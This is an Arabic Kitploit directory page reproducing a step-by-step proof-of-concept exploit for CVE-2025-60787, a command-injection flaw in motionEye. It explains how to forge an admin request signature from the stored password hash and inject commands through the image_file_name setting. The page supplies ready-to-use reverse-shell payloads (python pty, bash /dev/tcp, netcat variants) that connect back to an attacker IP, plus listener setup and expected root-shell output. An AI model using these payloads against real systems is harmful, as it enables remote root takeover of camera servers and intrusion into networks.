Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2025-60787 — MotionEye v0.43.1b4 حقن أوامر نظام التشغيل | Kitploit
أدوات/GitHubGitHub/agent-skywalker/cve-2025-60787
هجمات كلمات المرورتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالقيادة والسيطرةالفريق الأحمرتطوير الحمولات
GitHubagent-skywalker/cve-2025-60787

CVE-2025-60787

MotionEye v0.43.1b4 حقن أوامر نظام التشغيل

عرض المستودع
1منذ 5 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2025-60787 - MotionEye RCE

MotionEye v0.43.1b4 حقن أوامر نظام التشغيل

إثبات مفهوم لاستغلال حقن الأوامر في motionEye، وهي واجهة ويب أمامية لخدمة motion. تستغل الثغرة معامل التكوين image_file_name، الذي يُمرر مباشرةً إلى الصدفة دون تنقية، مما يسمح بحقن أوامر عشوائية عبر بناء جملة الصدفة الفرعية $(command).

إخلاء المسؤولية: استخدم فقط ضد الأنظمة التي لديك إذن صريح لاختبارها. الاستخدام غير المصرح به غير قانوني.


جدول المحتويات

  • كيف تعمل الثغرة
  • المتطلبات الأساسية
  • الخطوة 1 — تحديد موضع تجزئة كلمة مرور المسؤول
  • الخطوة 2 — فهم سلسلة المصادقة
  • الخطوة 3 — فهم خوارزمية التوقيع
  • الخطوة 4 — تكوين الاستغلال
  • الخطوة 5 — تشغيل المستمع الخاص بك
  • الخطوة 6 — تشغيل الاستغلال
  • مرجع المعاملات
  • حل المشكلات

كيف تعمل الثغرة

يمرر motionEye قيمة التكوين image_file_name مباشرة إلى خدمة motion كقالب لاسم ملف الصدفة. تقوم motion بتقييم تعبيرات الصدفة الفرعية $(...) داخل أسماء الملفات عند وقت الالتقاط، مما يعني أن أي أمر يوضع داخل $(...) يتم تنفيذه كمستخدم يشغل عملية motion (عادةً root).

سلسلة الهجوم الكاملة هي:

root@kitploit:~
1. قراءة تجزئة admin_password من /etc/motioneye/motion.conf
         ↓
2. اشتقاق تجزئة cookie = SHA1(admin_password_hash)
         ↓
3. حساب توقيع HMAC باستخدام خوارزمية motionEye الدقيقة:
   SHA1("METHOD:path:body:key")
         ↓
4. إرسال طلب POST لتكوين خبيث إلى /config/{cam}/set/ مع:
   image_file_name = $(your_command).%Y-%m-%d-%H-%M-%S
         ↓
5. تشغيل الالتقاط عبر منفذ التحكم غير المصادق عليه motion 7999
         ↓
6. تقوم motion بتقييم اسم الملف → يتم تنفيذ الأمر كجذر
         ↓
7. تتصل الصدفة العكسية مرة أخرى بجهاز المهاجم

المتطلبات الأساسية

  • Python 3.6+
  • وصول شبكة إلى مثيل motionEye المستهدف (المنفذ الافتراضي 8765)
  • تجزئة كلمة مرور المسؤول من /etc/motioneye/motion.conf
  • مستمع على جهاز الهجوم الخاص بك (مثل nc)

لا توجد حزم Python تابعة لجهات خارجية مطلوبة — يستخدم الاستغلال المكتبة القياسية فقط.


الخطوة 1 — تحديد موضع تجزئة كلمة مرور المسؤول

يقوم ملف تكوين motionEye بتخزين كلمة مرور المسؤول كتجزئة SHA1. اقرأها من الهدف:

root@kitploit:~
cat /etc/motioneye/motion.conf

ابحث عن سطر التعليق @admin_password:

root@kitploit:~
# @admin_username admin
# @admin_password 989c5a8ee87a0e9521ec81a79187d162109282f0

القيمة بعد @admin_password هي تجزئة SHA1 لكلمة المرور النصية، وليست كلمة المرور نفسها. هذه التجزئة هي ما تحتاجه للاستغلال.

لاحظ أيضًا قيمة webcontrol_port — هذا هو منفذ التحكم غير المصادق عليه motion المستخدم لتشغيل الالتقاط:

root@kitploit:~
webcontrol_port 7999
webcontrol_localhost on
root@kitploit:~
user@test:/tmp$ cat /etc/motioneye/motion.conf
# @admin_username admin
# @normal_username user
# @admin_password 989c5a8ee87a0e9521ec81a79187d162109282f0
# @lang en
# @enabled on
# @normal_password 


setup_mode off
webcontrol_port 7999
webcontrol_interface 1
webcontrol_localhost on
webcontrol_parms 2

camera camera-1.conf
camera camera-2.conf

الخطوة 2 — فهم سلسلة المصادقة

يستخدم motionEye مخطط مصادقة مزدوج التجزئة:

root@kitploit:~
plaintext_password
       │
       ▼  SHA1
admin_password  ←── مخزنة في motion.conf كـ @admin_password
       │
       ▼  SHA1
cookie_hash     ←── مرسلة في ملف تعريف الارتباط للمتصفح كـ meye_password_hash
       │
       ▼  مستخدمة كمفتاح HMAC
request_signature ←── معامل _signature= في كل طلب API

يقوم الاستغلال باشتقاق تجزئة cookie تلقائيًا من تجزئة التكوين:

root@kitploit:~
cookie_hash = hashlib.sha1(admin_password_hash.encode()).hexdigest()

يمكنك التحقق من ذلك يدويًا:

root@kitploit:~
echo -n "989c5a8ee87a0e9521ec81a79187d162109282f0" | sha1sum
# output: 238bd0f26e9f987d2dc9c0351c018e5f52534052

الخطوة 3 — فهم خوارزمية التوقيع

يتم حساب التوقيع من كود motionEye المصدر في
/usr/local/lib/python3.x/dist-packages/motioneye/utils/__init__.py:

root@kitploit:~
SHA1("METHOD:path:body:key")

حيث:

  • METHOD — طريقة HTTP (POST)
  • path — URI مع إزالة _signature من سلسلة الاستعلام، وفرز المعاملات، وترميز القيم URL، ثم تصفيتها عبر _SIGNATURE_REGEX
  • body — سلسلة JSON الخام للجسم مصفاة عبر _SIGNATURE_REGEX
  • key — إما admin_password أو admin_hash (يقبل motionEye كليهما)، مصفى عبر _SIGNATURE_REGEX

تقوم _SIGNATURE_REGEX بإزالة أي حرف ليس في [a-zA-Z0-9/?_.=&{}\[\]":, -]، واستبداله بـ -.


الخطوة 4 — تكوين الاستغلال

افتح exploit.py وقم بتعيين المتغيرات التالية في الأعلى:

root@kitploit:~
MOTIONEYE_URL = "http://127.0.0.1:8765"   # رابط واجهة motionEye
MOTION_URL    = "http://127.0.0.1:7999"   # منفذ التحكم في motion (بدون مصادقة)
USERNAME      = "admin"                    # اسم مستخدم المسؤول (الافتراضي: admin)
ADMIN_HASH    = "989c5a8ee87a0e9521ec81a79187d162109282f0"  # من motion.conf

LHOST = "10.10.16.153"   # IP المستمع الخاص بك — يجب أن يتمكن الهدف من الوصول إليه
LPORT = "4444"           # منفذ المستمع الخاص بك

يتم تعيين أمر الصدفة العكسية تلقائيًا من LHOST و LPORT:

root@kitploit:~
COMMAND = f"python3 -c 'import socket,os,pty;s=socket.socket();s.connect((\"{LHOST}\",{LPORT}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(\"/bin/bash\")'"

أوامر الصدفة البديلة — استبدل COMMAND إذا تم حظر الافتراضي:

root@kitploit:~
# Bash TCP (بسيط، قد يتم تصفيته)
COMMAND = f"bash -i >& /dev/tcp/{LHOST}/{LPORT} 0>&1"

# Netcat مع العلم -e
COMMAND = f"nc -e /bin/bash {LHOST} {LPORT}"

# Netcat بدون -e (OpenBSD netcat)
COMMAND = f"rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc {LHOST} {LPORT} > /tmp/f"

الخطوة 5 — تشغيل المستمع الخاص بك

على جهاز الهجوم الخاص بك، ابدأ مستمع netcat قبل تشغيل الاستغلال:

root@kitploit:~
nc -lvnp 4444

يتوقف الاستغلال لمدة 5 ثوانٍ بعد طباعة تذكير المستمع، مما يمنحك الوقت لتبديل المحطات.


الخطوة 6 — تشغيل الاستغلال

root@kitploit:~
python3 exploit.py

المخرجات المتوقعة:

root@kitploit:~
============================================================
  motionEye RCE — الصدفة العكسية
============================================================

[*] LHOST      : 10.10.16.153
[*] LPORT      : 4444
[*] الأمر    : python3 -c '...'

[!] ابدأ المستمع الخاص بك الآن:
    nc -lvnp 4444

[*] إرسال الحمولة خلال 5 ثوانٍ...

[*] cam=2 key=admin_password ts=1773484327292
    sig=abc123...
    status=200 resp={}

[+] تم حفظ التكوين! cam=2 key=admin_password

[*] تشغيل الالتقاط عبر المنفذ 7999 (بدون مصادقة)...
[+] cam 0 → 200 تم التقاط الكاميرا 0
[+] cam 1 → 200 تم التقاط الكاميرا 1
[+] cam 2 → 200 تم التقاط الكاميرا 2

[+] تم تشغيل الالتقاط — تحقق من المستمع على 10.10.16.153:4444

على المستمع الخاص بك يجب أن تستقبل:

root@kitploit:~
listening on [any] 4444 ...
connect to [10.10.16.153] from (UNKNOWN) [target_ip] 51234
root@test:/var/lib/motioneye/Camera2#

مرجع المعاملات


حل المشكلات

403 غير مصرح به لجميع الطلبات

التوقيع خاطئ. تحقق من تطابق قيمة ADMIN_HASH تمامًا مع سطر @admin_password في motion.conf — لا مسافات ولا أحرف سطر جديد.

root@kitploit:~
cat /etc/motioneye/motion.conf | grep admin_password

يتم تشغيل الالتقاط ولكن لا تصل صدفة

يعمل حقن image_file_name ولكن تم حظر الصدفة العكسية. جرب COMMAND بديل من الخطوة 4. تأكد أيضًا من أن الهدف يمكنه الوصول إلى LHOST الخاص بك:

root@kitploit:~
# على الهدف
ping -c 1 10.10.16.153
curl http://10.10.16.153:4444
**

**المنفذ 7999 يرفض الاتصال**

الإعداد `webcontrol_localhost on` يقيد المنفذ 7999 على localhost فقط. يجب تشغيل الاستغلال من جهاز الهدف أو عبر نفق. تأكد باستخدام:

```bash
ss -tlnp | grep 7999

motion.conf غير قابل للقراءة

قد يتطلب الملف صلاحيات مرتفعة:

root@kitploit:~
sudo cat /etc/motioneye/motion.conf
**

**لم يتم العثور على تكوين كاميرا**

تحقق من ملفات تكوين الكاميرا الموجودة وقم بتحديث قائمة `cam` في الاستغلال إذا لزم الأمر:

```bash
ls /etc/motioneye/camera-*.conf


المراجع

  • CVE-2025-60787
  • كود motionEye المصدر — utils/init.py
  • كود motionEye المصدر — handlers/base.py
تنزيل الأداة
المعاملالموقعالوصفمثال
MOTIONEYE_URLexploit.pyالرابط الكامل لواجهة motionEyehttp://127.0.0.1:8765
MOTION_URLexploit.pyرابط منفذ التحكم في motion (بدون مصادقة)http://127.0.0.1:7999
USERNAMEexploit.pyاسم مستخدم المسؤول في motionEyeadmin
ADMIN_HASHexploit.pyتجزئة SHA1 من @admin_password في motion.conf989c5a8e...
LHOSTexploit.pyIP جهاز الهجوم الخاص بك — يجب أن يصل إليه الهدف10.10.16.153
LPORTexploit.pyالمنفذ الذي يستمع عليه مستمع nc الخاص بك4444